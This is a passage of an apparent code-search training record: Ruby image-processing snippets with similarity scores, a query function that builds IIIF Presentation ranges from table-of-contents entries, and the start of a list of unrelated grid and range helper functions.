draw.annotate(img, 0, 0, 0, 0, char)\n \n img\n end", "def new\n @image = Image.new\n end", "def initialize(path_file=IMAGE_PATH)\n @image = Magick::Image.read(path_file).first\n @height = @image.rows\n @width = @image.columns\n end", "def export_canvas_object(object, image_file, scale_factor, output_folder)\n coords, size = object_bounds(object)\n x, y = coords.map(&:to_i)\n w, h = size.map(&:to_i)\n t = Tempfile.new(\"cropped\")\n output_file = File.join(output_folder, object[\"Name\"] + \".png\")\n\n coords_string = \"#{w*scale_factor}x#{h*scale_factor}+#{x*scale_factor}+#{y*scale_factor}\"\n # +repage removes the origin information from the image. You want those offsets removed if you're going to\n # combine any of these images into an animated gif.\n # NOTE(philc): This convert command invocation dominates the time spent when exporting each image.\n # Using whole numbers rather than decimals (e.g. 10 rather than 10.0) shaves 10%.\n # Using -extract rather than -crop shaves 50%.\n command = \"convert -extract #{coords_string} #{Shellwords.escape(image_file)} +repage \" +\n \"#{Shellwords.escape(t.path)}\"\n `#{command}`\n FileUtils.mv(t.path, output_file)\n t.unlink\nend", "def detect_marks inimage, x, y, width, height, direction, threshold, rowcol, minsize, outimage, segments, comment \n copy_subimage inimage, x, y, width, height, outimage\n d_write_image outimage, comment+\"_subimage\"\n project_image outimage, direction\n d_write_image outimage, comment+\"_projected\"\n threshold outimage, threshold\n d_write_image outimage, comment+\"_thresholded\"\n find_black_segments rowcol, outimage, segments, minsize\n end", "def newImageViewWithImage(paramImage, frame:paramFrame)\n result = UIImageView.alloc.initWithFrame(paramFrame)\n result.contentMode = UIViewContentModeScaleAspectFit\n result.image = paramImage\n result\n end", "def draw\n\t\t@image.draw(@x, @y, 1)\n\tend", "def new\n\t\t@image = Image.new\n\tend", "def new\n\t\t@image = Image.new\n\tend", "def image\n r = super\n if r.nil? and not @_generating\n generate\n return super\n end\n r\n end", "def cgimage\n return self.CGImage\n end", "def create_image\n @cols = @cmd_options[0]\n @rows = @cmd_options[1]\n\n if is_valid_matrix?\n tmp = [];\n @rows.times do |row|\n @cols.times do |col|\n tmp << @default_color\n end\n end\n @matrix = tmp.each_slice(@cols).to_a\n else\n raise RangeError, \"Invalid Matrix. Pixel co-ordinates should be pair of integers: a column number between 1 and 250, and a row number between 1 and 250\"\n end\n end", "def apply(template_image)\n self.scale\n\n image = Magick::ImageList.new(self.artwork.image.path)\n\n image[0].rotate!(rotation) unless rotation.nil?\n image.resize!(self.width, self.height)\n\n center_x = template_image.columns / 2\n crop_image!(image, center_x)\n\n self.image_x += template_image.columns / 2 if self.leg == 'right'\n\n # x_copies = (image[0].columns / template[0].columns).ceil\n # y_copies = (image[0].rows / template[0].rows).ceil\n\n # To be tiling, see http://www.imagemagick.org/RMagick/doc/ilist.html#mosaic\n # tiled = Magick::ImageList.new\n # page = Magick::Rectangle.new(0,0,0,0)\n # x_copies.times do |x|\n # y_copies.times do |y|\n\n # end\n # end\n\n design_image = template_image[0].composite(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n\n if mirror\n design_image.flop!\n design_image.composite!(image, self.image_x, self.image_y, Magick::DstOverCompositeOp)\n design_image.flop!\n end\n\n intermediate_location = \"#{Dir.tmpdir}/#{SecureRandom.hex}.png\"\n design_image.write(intermediate_location)\n intermediate_location\n end", "def draw\n @image.draw(@x - @width / 2, @y - @height / 2, 1)\n end", "def image(criteria = T.unsafe(nil)); end", "def draw \n\t\t@image.draw(@x, @y, 1)\n\tend", "def design_spec( zoom=3, spacing: 1, transparent: nil )\n\n grayscale_img = @img.grayscale ## step 1 - convert to grayscale 0-255 shades of gray\n\n # todo: line - find a better name eg. line_strenght/width or such?\n width = grayscale_img.width*zoom + (grayscale_img.width-1)*spacing\n height = grayscale_img.height*zoom + (grayscale_img.height-1)*spacing\n\n puts \" #{width}x#{height}\"\n\n img = Image.new( width, height, Color::WHITE )\n\n grayscale_img.width.times do |x|\n grayscale_img.height.times do |y|\n pixel = grayscale_img[x,y]\n\n if transparent && pixel == Color::TRANSPARENT ## draw something for transparent?\n pixel = Color.from_hex( '#D3D3D3' ) # lightgray\n offset = (zoom-transparent)/2 ## center in \"zoom\" canvas (assumes transparent < zoom)\n transparent.times do |n|\n transparent.times do |m|\n img[offset + x*zoom+n + spacing*x,\n offset + y*zoom+m + spacing*y] = pixel\n end\n end\n else\n pixel = Color::WHITE if pixel == Color::TRANSPARENT\n zoom.times do |n|\n zoom.times do |m|\n img[x*zoom+n + spacing*x,\n y*zoom+m + spacing*y] = pixel\n end\n end\n end\n end\n end\n img\n end", "def to_image\n @to_image ||= begin\n draw\n renderer.finish\n renderer.image\n end\n end", "def initialize(magick_image)\n @source = magick_image\n @path = magick_image.filename\n @name = File.basename(@path)\n @width = magick_image.columns\n @height = magick_image.rows\n\n @top = 0\n @left = 0\n end", "def image_magick(image)\n Open3.capture3(\n \"convert\", image.cached, # What to convert?\n \"-resize\", \"#{image.width}x#{image.height}^\", # resizing\n \"-gravity\", \"center\", \"-crop\", \"#{image.width}x#{image.height}+0+0\", # cropping\n \"-background\", \"#ffffff\", # background color in case image was transparent\n \"+repage\", \"-flatten\", # Discard canvas size and squash into single layer\n image.resized # Target path of output\n )\n end", "def generate_images width=500, height=350\n # Base image with all territories shaded\n canvas = Magick::Image.new(width, height, Magick::TextureFill.new(@@map_bg))\n canvas.format = 'jpg'\n gc = Magick::Draw.new\n Territory.all.each do |t|\n gc.fill(\"transparent\")\n if t.clan\n gc.fill(\"rgb(#{t.clan.color_rgb.join(',')})\")\n gc.fill_opacity(0.25)\n end\n gc.stroke('rgb(64, 0, 0)')\n gc.stroke_width(1)\n if t.shape # uses svg-like shapes\n s = t.shape.split(',')\n path = \"M #{s[0]} #{s[1]} \"\n s[2..-1].each_slice(2) do |p|\n path << \"L #{p[0]} #{p[1]} \"\n end\n path << \"z\"\n gc.path(path)\n end\n\n if t.clan\n # draw the small icon for the clan if it exists\n if t.clan.image_filename 16\n gc.composite(t.position_x - 8, t.position_y - 8, 16, 16,\n Magick::Image.read(\"#{RAILS_ROOT}/public/images/#{t.clan.image_filename(16)}\").first)\n else # or draw a circle of their color\n gc.fill(\"rgb(#{t.clan.color_rgb.join(',')})\")\n gc.fill_opacity(1);\n gc.circle(t.position_x, t.position_y, t.position_x + 5, t.position_y)\n end\n else\n gc.circle(t.position_x, t.position_y, t.position_x + 5, t.position_y)\n end\n end\n gc.draw(canvas)\n canvas.write(\"#{RAILS_ROOT}/public/images/map/base.jpg\"){ self.quality = 95 } # TODO tweak the quality\n\n true\n end", "def annotate(example, type)\n img_paths = `ls img/#{example}/#{type}/*.png`.split(\"\\n\")\n\n request = make_request(img_paths)\n responses = service.annotate_image(request)\n responses.responses.map { |resp| resp.label_annotations.map(&:description) }\n end", "def im_identify(source_name)\n \n # configure in local_config.rb\n identify = \"#{IMAGE_MAGICK_PATH}identify\"\n\n #raise \"Failed to find 'identify' binary on your system. Check your ImageMagick installation.\" unless `#{identify} --version`[\"ImageMagick\"]\n \n # Finally figured out how to make identify fast (-ping)\n # assume identify is in PATH for compatibility\n cmd = \"#{identify} -ping -format '%m:%w:%h' #{source_name}\"\n # logger.info(\"$PATH is: \" + `echo $PATH`)\n logger.info(\"Executing '#{cmd}'\")\n \n res = `#{cmd}`.strip.gsub(\"'\",'').split(\":\") # the gsub fixes a bug on PCs where additional characters were added\n {:type => res[0], :width => res[1], :height => res[2]}\n end", "def draw()\n if self.image != nil\n bitmap = Cache.picture(self.image)\n @cImage.img_bitmap = bitmap\n @cImage.src_rect = Rect.new(0, 0, bitmap.width, bitmap.height)\n @cImage.draw()\n end\n end", "def write_text\n\t\ttext = Magick::Draw.new\n\t\ttext.font_family = 'georgia'\n\t\ttext.font_weight = Magick::NormalWeight\n\t\ttext.pointsize = 40\n\t\ttext.fill = COLOR\n\t\ttext.gravity = Magick::SouthGravity\n\t\ttext.annotate(@image, 0, 0, 0, 60, Base64.encode64(MESSAGE_1_64))\n\t\ttext.pointsize = 20\n\t\ttext.annotate(@image, 0, 0, 0, 20, Base64.encode64(MESSAGE_2_64))\n\tend", "def dup_src\n BufferedImage.new width, height, color_type\n end", "def new_image(cols, rows, *fill, &info_blk)\n self << Magick::Image.new(cols, rows, *fill, &info_blk)\n end", "def image()\n @image__\n end", "def create_image(image_src, caption)\n image_path = Bread::Basket::Poster.dir_path + '/' + image_src\n @columns_width = layout.columns[0].width\n pdf.image image_path, width: @columns_width, position: :center\n pdf.move_down 15\n draw_caption(caption)\n end", "def desc\n return ImageDesc::new( self.type, self.width, self.height, self.depth, self.array_size, self.row_pitch, self.slice_pitch, self.num_mip_levels, self.num_samples, self.buffer )\n end" ]
[ "0.5890029", "0.58261883", "0.5790082", "0.5738972", "0.57041544", "0.55744606", "0.55509293", "0.5486989", "0.5475784", "0.54657716", "0.54566514", "0.54434323", "0.54019684", "0.5386677", "0.535922", "0.52910435", "0.51799273", "0.5154018", "0.5146952", "0.5146834", "0.5140721", "0.51312655", "0.51276505", "0.51129174", "0.50889134", "0.50688857", "0.5050467", "0.50289655", "0.5017704", "0.50089777", "0.5000756", "0.49989727", "0.49984422", "0.49953848", "0.49861014", "0.49497172", "0.49357578", "0.49256542", "0.49235564", "0.49218163", "0.49176002", "0.48626506", "0.48418853", "0.48287874", "0.48263738", "0.48245472", "0.4823693", "0.48009413", "0.47981524", "0.47867003", "0.47774458", "0.47654048", "0.47317535", "0.47263542", "0.47198948", "0.47194523", "0.47159898", "0.47159657", "0.47113857", "0.47082552", "0.4705444", "0.4693322", "0.4685608", "0.4681246", "0.46568617", "0.4647621", "0.46419987", "0.46394157", "0.46250862", "0.46190462", "0.4607873", "0.45916155", "0.45843878", "0.4580978", "0.45712802", "0.45655853", "0.45562395", "0.4550539", "0.4550539", "0.45492208", "0.45453623", "0.4545282", "0.45443085", "0.4543039", "0.45360762", "0.4528712", "0.4522698", "0.45206562", "0.4519723", "0.45161983", "0.4515148", "0.4511666", "0.45107046", "0.44970566", "0.44944972", "0.44885948", "0.44861645", "0.44726956", "0.44706047", "0.44697165" ]
0.6389344
0
Returns range with sub ranges for each table of contents entry. For each table of contents entry will point to the entire canvas. Note: If at some point coordinates are provided for each table of contents entry we can point directly to the coordinates given.
def range(index:, label:, table_of_contents:) subranges = table_of_contents.map.with_index do |entry, subrange_index| IIIF::Presentation::Range.new( '@id' => uri(image_server, "#{id}/range/r#{index}-#{subrange_index + 1}"), 'label' => entry[:text], 'canvases' => [uri(image_server, "#{id}/canvas/p#{index}")] ) end IIIF::Presentation::Range.new( '@id' => uri(image_server, "#{id}/range/r#{index}"), 'label' => label, 'ranges' => subranges ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_subgrid(cords)\n subgrid = []\n x_pos = cords[0] - cords[0] % 3\n (x_pos..x_pos + 2).each do |row_num|\n y_pos = cords[1] - cords[1] % 3\n subgrid += @grid[row_num][y_pos, 3]\n end\n subgrid\n end", "def getIndexRange()\n rangeTime = { :min => nil, :max => nil} ;\n rangeX = { :min => nil, :max => nil} ;\n rangeY = { :min => nil, :max => nil} ;\n rangeZ = { :min => nil, :max => nil} ;\n @sumGridTable.keys.sort.each{|index|\n rangeTime[:min] = safeMin(index[0], rangeTime[:min]) ;\n rangeTime[:max] = safeMax(index[0], rangeTime[:max]) ;\n rangeX[:min] = safeMin(index[1][0], rangeX[:min]) ;\n rangeX[:max] = safeMax(index[1][0], rangeX[:max]) ;\n rangeY[:min] = safeMin(index[1][1], rangeY[:min]) ;\n rangeY[:max] = safeMax(index[1][1], rangeY[:max]) ;\n rangeZ[:min] = safeMin(index[1][2], rangeZ[:min]) ;\n rangeZ[:max] = safeMax(index[1][2], rangeZ[:max]) ;\n }\n return [rangeTime, rangeX, rangeY, rangeZ] ;\n end", "def find_entry_rectangles(x_offset,y_offset,page_width,page_height) # take offset\n # how big is the header?\n header_height = page_height * HEADER_PROPORTION\n footer_height = page_height * FOOTER_PROPORTION\n entry_height = (page_height - header_height - footer_height) / ENTRIES_PER_PAGE\n \n entries = []\n ENTRIES_PER_PAGE.times do |i|\n entry_y = y_offset + header_height + entry_height*i\n slop_entry_y = entry_y - entry_height * 0.1\n slop_entry_height = entry_height * 0.2\n entries << [x_offset,slop_entry_y,page_width,slop_entry_height]\n end \n entries\n end", "def ranges\n x_start, y_start = absolute(0, 0)\n x_end, y_end = absolute(@diameter - 1, @diameter - 1)\n\n [x_start..x_end, y_start..y_end]\n end", "def cells\n @cells ||= coordinates.collect {|coordinate| Cell.new(coordinate: coordinate)}\n end", "def ranges\n @toc_id = 'ranges'\n end", "def content_range(row_range, column_range)\n content[row_range].map { |row| row[column_range] }\n end", "def each_cell(rect)\n (rect.top_left.left..rect.top_right.left).each do |left|\n (rect.top_left.top..rect.bottom_left.top).each do |top|\n yield left, top\n end\n end\nend", "def bounds\n Enumerator.new do |yielder|\n offsets.each do |offset|\n yielder << [offset, slice_length(offset)]\n end\n end\n end", "def sections\n (1..section_size).inject([]) do |array, row_offset|\n (1..section_size).inject(array) do |array, column_offset|\n array << section_coordinates(row_offset - 1, column_offset - 1)\n end\n end\n end", "def build_spans on_range\n # TODO: rewrite in terms of each_row\n @spans = Array.new @size[1]\n\n @size[1].times do |y|\n spans = []\n left = (@size[1]-y-1)*@size[0]\n start = nil\n\n @size[0].times do |x|\n d = on_range.include?(@pixels[left+x])\n\n if !start && d\n start = x\n elsif start && !d\n spans << [start, x]\n start = nil\n end\n end\n\n spans << [start, @size[0]] if start\n @spans[y] = spans\n end\n end", "def cells_at_points(coords)\n coords.collect {|x, y| cell_at_point(x, y) }.to_set\n end", "def slice(table)\n head, body, array_h, array_b = 4.times.map { [] }\n index = 0\n first_column = 0\n second_column = 1\n\n (0...table.original_columns * table.original_rows).each do |col_index|\n row = table.rows[index]\n array_h += [row[first_column]]\n array_b += [row[second_column]]\n\n if col_index % table.original_columns == 2\n head << array_h\n body << array_b\n array_h, array_b = [], []\n end\n index += 1\n end\n [head, body]\n end", "def rows\n cells_ordered = cells.order(:y => :desc)\n (0..height).map { |row_id| cells.where(y: row_id) }\n end", "def cells\n rows.flatten\n end", "def cells\n @cells\n end", "def cells\n @cells\n end", "def build_spans on_range\n @spans = Array.new @size[1]\n\n @size[1].times do |y|\n spans = []\n left = (@size[1]-y-1)*@size[0]\n start = nil\n\n @size[0].times do |x|\n d = on_range.include?(@pixels[left+x])\n\n if !start && d\n start = x\n elsif start && !d\n spans << [start, x]\n start = nil\n end\n end\n\n spans << [start, @size[0]] if start\n @spans[y] = spans\n end\n end", "def exposion_range_without_wall(pos)\n\t\trange = Set.new\n\t\t@template.each do |orig_pos|\n\t\t\ttrans_pos = Array.new(orig_pos)\n\t\t\ttrans_pos.row += pos.row\n\t\t\ttrans_pos.col += pos.col\n\t\t\tif (0...n).cover?(trans_pos.row) and (0...m).cover?(trans_pos.col)\n\t\t\t\trange << trans_pos\n\t\t\tend\n\t\tend\n\t\treturn range\n\tend", "def get_extents\n \n # e for extents\n e = {:minX => nil, :maxX => nil, :minY => nil, :maxY => nil}\n self.notes.each do |n|\n # First object\n e[:minX] = e[:minX].nil? ? n.x : e[:minX]\n e[:minY] = e[:minY].nil? ? n.y : e[:minY]\n e[:maxX] = e[:maxX].nil? ? n.x+n.width : e[:maxX]\n e[:maxY] = e[:maxY].nil? ? n.y+n.height : e[:maxY]\n # Other objects\n e[:minX] = n.x < e[:minX] ? n.x : e[:minX]\n e[:minY] = n.y < e[:minY] ? n.y : e[:minY]\n e[:maxX] = e[:maxX] < n.x+n.width ? n.x+n.width : e[:maxX]\n e[:maxY] = e[:maxY] < n.y+n.height ? n.y+n.height : e[:maxY]\n end\n\n # Take care of a graph with no notes\n e[:minX] = e[:minX].nil? ? 0 : e[:minX]\n e[:minY] = e[:minY].nil? ? 0 : e[:minY]\n e[:maxX] = e[:maxX].nil? ? 0 : e[:maxX]\n e[:maxY] = e[:maxY].nil? ? 0 : e[:maxY]\n\n return e\n end", "def set_range\n ref_gene = ref_genes.first\n [ref_gene.txStart, ref_gene.txEnd]\n end", "def relative_rows(square_type = :terrain)\r\n @rows ||= {}\r\n return @rows[square_type] if @rows[square_type] \r\n \r\n @rows[square_type] = @all_rows.values_at(*relative_indexes(:rows, square_type)).map do |column|\r\n column.values_at(*relative_indexes(:columns, square_type))\r\n end\r\n end", "def construct_range_query\n require File.expand_path(File.join(File.dirname(__FILE__), \"../shared_libraries/ra_trees\"))\n \n list = List.init_double_linked_list\n \n @points.each do |point|\n List.push_back(list, Points.init_point(point[0], point[1], \"\"))\n end\n\n range_tree = RATree.build_2d_range_tree(list)\n\n range_query = RATree.two_d_range_query(range_tree, @x, @x1, @y, @y1)\n\n return List.to_a(range_query)\n \nend", "def cells\n rows.map { |r| r[key] }\n end", "def each_line(sub_area)\n byte_width_minus_one = sub_area.w * pixel_byte_size - 1\n stride = line_byte_size\n offset = byte_offset(sub_area.loc) - stride\n\n sub_area.h.times do\n offset += stride\n range = offset .. (offset + byte_width_minus_one)\n yield range\n end\n end", "def tile_bounds(tx, ty, zoom)\n min_x, min_y = pixels_to_meters(tx * @tile_size, ty * @tile_size, zoom)\n max_x, max_y = pixels_to_meters((tx + 1) * @tile_size, (ty + 1) * @tile_size, zoom)\n [min_x, min_y, max_x, max_y]\n end", "def get_grids(x, y, width, height)\n x = (x*10)-5\n y = (y*10)-5\n end_x= x+(width*10)-1\n end_y= y+(height*10) -1\n return [[y, x], [end_y, end_x]]\n end", "def get_grids(x, y, width, height)\n x = (x*10)-5\n y = (y*10)-5\n end_x= x+(width*10)-1\n end_y= y+(height*10) -1\n return [[y, x], [end_y, end_x]]\n end", "def cells\n Enumerator.new do |yielder|\n buffer.each do |row|\n row.each do |cell|\n yielder << cell\n end\n end\n end\n end", "def get_bounds\n # Go throug all blocks to find the bounds of this shape\n x_min = []\n y_min = []\n x_max = []\n y_max = []\n @blocks.each do |block| \n x_min << block.x\n y_min << block.y\n \n x_max << block.x + block.width\n y_max << block.y + block.height\n end\n\n return [x_min.min, y_min.min, x_max.max, y_max.max]\n end", "def data(bounding_box)\n top, left, bottom, right = bounding_box.coords\n @table.where(:lng => (left..right), :lat => (bottom..top)).all\n end", "def dimensional_ranges\n points = self.points.map &:coords\n points.transpose.map { |d| d.min.to_f..d.max.to_f }\n end", "def coordinate_list\n @board.each_index.inject([]) do |result,row_index|\n result.concat( \n @board[row_index].each_index.collect do |column_index|\n [row_index + 1, column_index + 1]\n end\n )\n end\n end", "def get_range(line_from, index_from, line_to, index_to) \n\t\tix1 = index_of_position(line_from, index_from)\n\t\tix2 = index_of_position(line_to, index_to)\n\t\t@text[ix1 ... ix2]\n\tend", "def each_coord\n x_range, y_range = ranges\n x_range.each { |x| y_range.each { |y| yield [x, y] } }\n end", "def snapshot_boundaries\n minmax = @snapshot.first.map { |dim_coord| [dim_coord, dim_coord] }\n @snapshot.each do |coord|\n coord.each_with_index do |dim_coord, i|\n minmax[i][0] = dim_coord if dim_coord < minmax[i][0]\n minmax[i][1] = dim_coord if dim_coord > minmax[i][1]\n end\n end\n minmax\n end", "def find_start_and_finish\n grid.each_with_index do |row, row_idx|\n row.each_with_index do |spot, col_idx|\n if spot == START_MARK\n @start = [row_idx, col_idx]\n elsif spot == END_MARK\n @finish = [row_idx, col_idx]\n end\n end\n end\n end", "def tt_range\n ARange.new(ttstart_at, ttend_at)\n end", "def getSegments (xStart, xEnd, yStart, yEnd, board)\n\n\tsegBoard = Array.new\n\tind = 0\n\tfor i in xStart..xEnd\n\t\tfor j in yStart..yEnd\n\t\t\tsegBoard[ind] = board[j][i]\n\t\t\tind+=1\n\t\tend\n\tend \n\n\treturn segBoard\n\nend", "def return_sub_box(x,y,board = @board)\n box = []\n y_access = (((y/@num)*@num)...(((y/@num)*@num)+@num))\n x_access = (((x/@num)*@num)...(((x/@num)*@num)+@num))\n board[y_access].each{|row| box << row[x_access].dup}\n box\n end", "def to_ranges args = Hash.new\n min = args[:min] || -Infinity\n max = args[:max] || Infinity\n collapse = args[:collapse]\n \n ranges = Array.new\n self.split(%r{\\s*,\\s*}).each do |section|\n md = section.match(RANGE_REGEXP)\n next unless md\n \n from = _matchdata_to_number md, 1, min\n to = _has_matchdata?(md, 2) ? _matchdata_to_number(md, 3, max) : from\n\n prevrange = ranges[-1]\n\n if collapse && prevrange && prevrange.include?(from - 1) && prevrange.include?(to - 1)\n ranges[-1] = (prevrange.first .. to)\n else\n ranges << (from .. to)\n end\n end\n\n ranges\n end", "def cell_at_point(x, y)\n [x / Entity::WIDTH, y / Entity::HEIGHT ]\n end", "def show_ranges(data)\n if data\n data.each{|tile| @tiletype_table[tile.x, tile.y] = 1}\n else\n @tiletype_table = Array2D.new($game_map.width, $game_map.height, 0)\n end\n end", "def range_by_lines(range); end", "def grid\n rows = []\n (1..self.height).to_a.each do |h|\n rows << row(h)\n end\n rows.reverse\n end", "def identify_ranges(yaml_content)\n each_line_indices(yaml_content).each_with_object([]) do |(start, finish), ranges|\n if range = clean_line(yaml_content, start, finish)\n ranges << range\n end\n end\n end", "def google_tile(tx, ty, zoom)\n [tx, (2**zoom - 1) - ty]\n end", "def rect(a,b)\n new_cells = a.times.flat_map do |x|\n b.times.flat_map do |y|\n Cell.new(x,y,@width,@height)\n end\n end\n\n @cells.merge(new_cells)\n end", "def space\n canvas = (1..@height).to_a.collect {|_| [:empty] * @width}\n @crates.each do |sc|\n range_y = (sc.min_y..sc.max_y)\n range_x = (sc.min_x..sc.max_x)\n sc.fill_coordinates.each do |x, y|\n canvas[y][x] = :filled\n end\n end\n canvas\n end", "def cells_overlapping(x, y)\n cells_at_points(corner_points_of_entity(x, y)).collect {|cx, cy| at(cx, cy) }\n end", "def slice_rows(x,y,w,h)\n\t\t(y..y+h-1).each do |i|\n\t\t\tyield @data[i][x..x+w-1]\n\t\tend\n\tend", "def getNodeCoordinateRange(domain = \"grid\")\n qs = <<END_QS1\nSELECT x_max, y_max, z_max\n FROM testbeds\nWHERE node_domain = '#{domain}'\nEND_QS1\n \n result = Array.new\n runQuery(qs) { |x, y, z| \n result.push(x) \n result.push(y) \n result.push(z)\n }\n return result\n end", "def row(r)\n ranges = Ranges.new\n @sensors.sort.each{|loc, sen|\n range_at_r = sen.range - (loc.y - r).abs\n next if range_at_r.negative?\n\n ranges.union([loc.x - range_at_r, loc.x + range_at_r])\n }\n\n ranges\n end", "def sliced_print_range\n whole_range = (@lower..@upper).to_a\n whole_range.each_slice(@size).to_a\n end", "def start_grid\n Array.new(@lines) { Array.new(@columns) { Cell.new } }\n end", "def create_spaces\n ((@tiles, @tile_map),\n (@up_vtexs, @up_vtex_map),\n (@down_vtexs, @down_vtex_map),\n (@asc_edges, @asc_edge_map),\n (@desc_edges, @desc_edge_map),\n (@vert_edges, @vert_edge_map)) =\n [[Tile, nil, 1..5, [3,4,5,4,3], [1..3, 1..4, 1..5, 2..5, 3..5]],\n [Vtex, :up, 1..6, [3,4,5,6,5,4], [1..3, 1..4, 1..5, 1..6, 2..6, 3..6]],\n [Vtex, :down, 0..5, [4,5,6,5,4,3], [0..3, 0..4, 0..5, 1..5, 2..5, 3..5]],\n [Edge, :asc, 1..6, [3,4,5,5,4,3], [1..3, 1..4, 1..5, 2..6, 3..6, 4..6]],\n [Edge, :desc, 1..6, [3,4,5,5,4,3], [1..3, 1..4, 1..5, 1..5, 2..5, 3..5]],\n [Edge, :vert, 1..5, [4,5,6,5,4], [1..4, 1..5, 1..6, 2..6, 3..6]]\n ].map {|cls, align, row_interval, row_counts, col_intervals|\n rows = row_counts.zip(row_interval.to_a).map {|c, r| [r]*c}.flatten\n cols = col_intervals.map {|ival| ival.to_a}.flatten\n count = rows.length\n list = (0...count).to_a.map {|i| cls.new}\n list.each {|obj| obj.alignment = align} unless align.nil?\n list.zip(rows, cols).each {|obj, row, col| obj.row, obj.col = row, col}\n map = Hash[list.map {|obj| [[obj.row, obj.col], obj]}]\n [list, map]\n }\n\n @vtexs = @up_vtexs + @down_vtexs\n @edges = @asc_edges + @desc_edges + @vert_edges\n @all_spaces = @tiles + @vtexs + @edges\n\n @vtex_map = Hash[@vtexs.map {|v| [v.coords, v]}]\n @edge_map = Hash[@edges.map {|e| [e.coords, e]}]\n\n @all_spaces.zip((0...(@all_spaces.length)).to_a).each do |obj, id|\n obj.id = id\n end\n end", "def occupied_spaces\n spaces = []\n return spaces unless @page\n @page.occupied_spaces.each do |coord|\n spaces << [@x + coord[0], @y + coord[1]]\n end\n return spaces\n end", "def create_cells\n (\"A\"..@height).each do |rows|\n (1..@width.to_i).each do |column|\n k=\"#{rows}#{column}\"\n cells[k]=Cell.new(k)\n end\n end\n cells\n end", "def _range from, to\n\t\trange = `IDBKeyRange.bound(#{from}, #{to})`\n\t\tEnumerator.new do |out, done|\n\t\t\ttry do\n\t\t\t\ttransaction = `#@db.transaction(['kv'], 'readonly')`\n\t\t\t\tstore = `#{transaction}.objectStore('kv')`\n\t\t\t\tindex = `#{store}.index('key')`\n\t\t\t\t%x{#{index}.openCursor(#{range}).onsuccess = function(e) {\n\t\t\t\t\tvar cursor = e.target.result\n\t\t\t\t\tif(cursor) {\n\t\t\t\t\t\t// #{log `cursor.value.key`, `cursor.value.val`}\n\t\t\t\t\t\t// debugger\n\t\t\t\t\t\t#{out << [`cursor.value.key`, `cursor.value.val`]}\n\t\t\t\t\t\tcursor.continue()\n\t\t\t\t\t} else {\n\t\t\t\t\t\t#{done[]}\n\t\t\t\t\t}\n\t\t\t\t}}\n\t\t\tend\n\t\tend.lazy\n\tend", "def row_cells\n rowdata = []\n print_layout.each do |section|\n rowdata += row_cell_items(section[:row_cells])\n end\n rowdata\n end", "def get_row_cells row\n\t\treturn (row * 9...row * 9 + 9).to_a\n\tend", "def rows\n top...(top + bordered_height)\n end", "def children\n res = []\n @board.rows.each_with_index do |row, x|\n row.each_with_index { |item, y| res << [x,y] }\n end\n res\n end", "def gen_cells args = {}\n\t\t\tx = args[:x] || 0\n\t\t\ty = args[:y] || 0\n\t\t\tw = args[:w] || 32\n\t\t\th = args[:h] || 32\n\n\t\t\tcell_count = {\n\t\t\t\tx: (current_room.w.to_f / w.to_f).floor,\n\t\t\t\ty: (current_room.h.to_f / h.to_f).floor\n\t\t\t}\n\n\t\t\treturn cell_count[:y].times.map do |row|\n\t\t\t\tnext cell_count[:x].times.map do |col|\n\t\t\t\t\tnext Cell.new(\n\t\t\t\t\t\tx: (w * col),\n\t\t\t\t\t\ty: (h * row),\n\t\t\t\t\t\tw: w, h: h,\n\t\t\t\t\t\tindex: { x: col, y: row },\n\t\t\t\t\t\tsolid: false\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\tend .flatten\n\t\tend", "def cells\n attributes.fetch(:cells)\n end", "def rows\n CellCollection.new(@data, @column)\n end", "def get_other_block_cells cell\n\t\tblock = get_block cell\n\t\tfirst_cell = cell / 27 * 27\n\t\treturn (first_cell...first_cell + 27).select { |r| block == r / 27 * 3 + r % 9 / 3 }.to_a - [cell]\n\tend", "def actual_cells\n @cells.compact\n end", "def rect(a, b, screen)\n screen[0...b].each do |row|\n row[0...a] = (\"#\"*a).split(\"\")\n end\n\n screen\nend", "def make_tabula_recta\n letters = @letter_set.dup\n table = []\n letters.length.times do\n table.push letters.dup\n letters.push letters.shift\n end\n indices = {}\n letters = letters.each_with_index { |letter, i| indices[letter] = i }\n [table, indices]\n end", "def draw_range_query\n\n @points.each do\n |point|\n \n ellipse(point[0].to_f, point[1].to_f,5.0,5.0)\n \n end\n\n fill(0,127,0)\n line(@x,@y,@x,@y1)\n line(@x,@y,@x1,@y)\n line(@x1,@y,@x1,@y1)\n line(@x, @y1,@x1,@y1)\n\n\n range_query = construct_range_query\n \n #\n # Aqui van tu codigo\n # Solo debes de dibujar los puntos del arreglo range_query\n \nend", "def rows\n r = []\n cells.group_by {|cell| cell.coordinate.x}.each_pair do |key,value|\n r << Row.new(position: key,cells: value)\n end\n r\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def cells\n @cells ||= []\n end", "def line_ranges=(_); end", "def subsequence(range_start, range_end, start_seen_cb=nil, end_seen_cb=nil)\n result = []\n start_seen = range_start.nil?\n @contents.each{|c|\n if range_end and range_end.object_id == c.object_id\n end_seen_cb.call if end_seen_cb\n break \n end\n if range_start and range_start.object_id == c.object_id\n start_seen = true\n start_seen_cb.call if start_seen_cb\n next\n end\n if start_seen\n if c.is_a? XML\n break_me = false\n result += c.subsequence(nil, range_end, nil, lambda{break_me=true})\n break if break_me\n else # String/XML_PI/XML_Comment\n result << c\n end\n else\n # String/XML_PI/XML_Comment cannot start a subsequence\n if c.is_a? XML\n break_me = false\n result += c.subsequence(range_start, range_end, lambda{start_seen=true}, lambda{break_me=true})\n break if break_me\n end\n end\n }\n # Include starting tag if it was right from the range_start\n # Otherwise, return just the raw sequence\n result = [XML.new(@name, @attrs, result)] if range_start == nil\n return result\n end", "def configure_cells\n\t\teach_cell do |cell|\n\t\t\trow, col = cell.row, cell.column\n\n\t\t\tcell.north = self[row - 1, col]\n\t\t\tcell.south = self[row + 1, col]\n\t\t\tcell.east = self[row, col + 1]\n\t\t\tcell.west = self[row, col - 1]\n\t\tend\n\tend", "def bounds\n \"#{top},#{left}:#{bottom},#{right}\"\n end", "def select_n\n tab_return = []\n tab_dist = []\n\n dist = 0\n p = tab_point[0]\n for point in tab_point\n dist+=point.distPoints(p)\n tab_dist.push(dist)\n p = point\n 